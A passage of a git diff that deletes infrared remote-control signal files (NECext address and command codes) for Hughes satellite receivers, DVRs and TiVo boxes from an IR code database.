00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER/JUMP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: WINDOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 45 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir deleted file mode 100644 index 4189d6975..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FF_>> -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 01 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 02 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 03 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 05 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 06 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir deleted file mode 100644 index 785d10d6f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir deleted file mode 100644 index eb6b2f52f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 01 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 02 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 03 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 0F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 10 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 13 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 14 00 00 00 -# -name: PR._CHANNEL -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 16 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 17 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 18 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 19 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 36 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 3C B2 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir deleted file mode 100644 index 80481553c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 6A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir deleted file mode 100644 index b75637fae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CHANNNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: QUICK_REWIND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: TO_LIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir deleted file mode 100644 index 45825c5cc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: F_FORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: 10_SEC_REWIND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: CATCH_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: WINDOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 45 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir deleted file mode 100644 index b2cf2cd6e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMB_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMB_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: --_> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: -> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir deleted file mode 100644 index ba0bf4949..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO/_MENU -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: DIRECTV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: DIRECT_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMB_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMB_SUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMB_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHAN_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: FASTFORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION_PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: REPLAY< -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: --_> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: -> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: PLAY/ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER/LAST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER_LAST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 45 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir deleted file mode 100644 index 649a312a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL._UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOL._DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir deleted file mode 100644 index 365969507..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir deleted file mode 100644 index 311d765dc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir +++ /dev/null @@ -1,746 